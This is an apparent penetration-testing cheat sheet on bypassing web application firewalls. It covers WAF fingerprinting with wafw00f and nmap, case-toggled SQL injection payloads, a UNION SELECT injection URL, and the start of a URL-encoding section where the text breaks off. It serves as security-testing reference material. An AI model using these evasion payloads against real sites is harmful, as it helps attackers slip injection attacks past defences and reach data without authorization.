# WAF Bypass
## Brief
{% hint style="info" %}
A **WAF** or web application firewall helps protect web applications by **filtering** and **monitoring** HTTP traffic between a web application and the Internet.
It typically protects web applications from attacks such as **cross-site forgery**, cross-site-scripting (**XSS**), **file inclusion**, and **SQL injection**, among others.
A WAF is a protocol **layer 7** defense (in the OSI model), and is not designed to defend against all types of attacks. This method of attack mitigation is usually part of a suite of tools which together create a holistic defense against a range of attack vectors.
{% endhint %}
## Identify the WAF
WAFs use standard ports : **80**, **443**, **8000**, **8008**, **8080**, and **8088**.
{% tabs %}
{% tab title="wafw00f" %}
```bash
wafw00f $target
```
{% endtab %}
{% tab title="nmap" %}
```bash
# detecting the waf
nmap -p$port --script http-waf-detect $target
# fingerprinting the waf
nmap -p$port --script http-waf-fingerprint $target
```
{% endtab %}
{% endtabs %}
## Bypass techniques
### Case Toggling
{% hint style="info" %}
Combine **upper** and **lower case characters** for creating great payloads.
{% endhint %}
#### **Examples**
```
# bypassed
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
# url example
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
```
### **URL Encoding**
{% hint style="info" %}
* **Encode** normal payloads with **%** encoding/URL encoding.
* You can use **Burp**. It has an encoder/decoder tool.
{% endhint %}
#### Examples
```javascript
# blocked by waf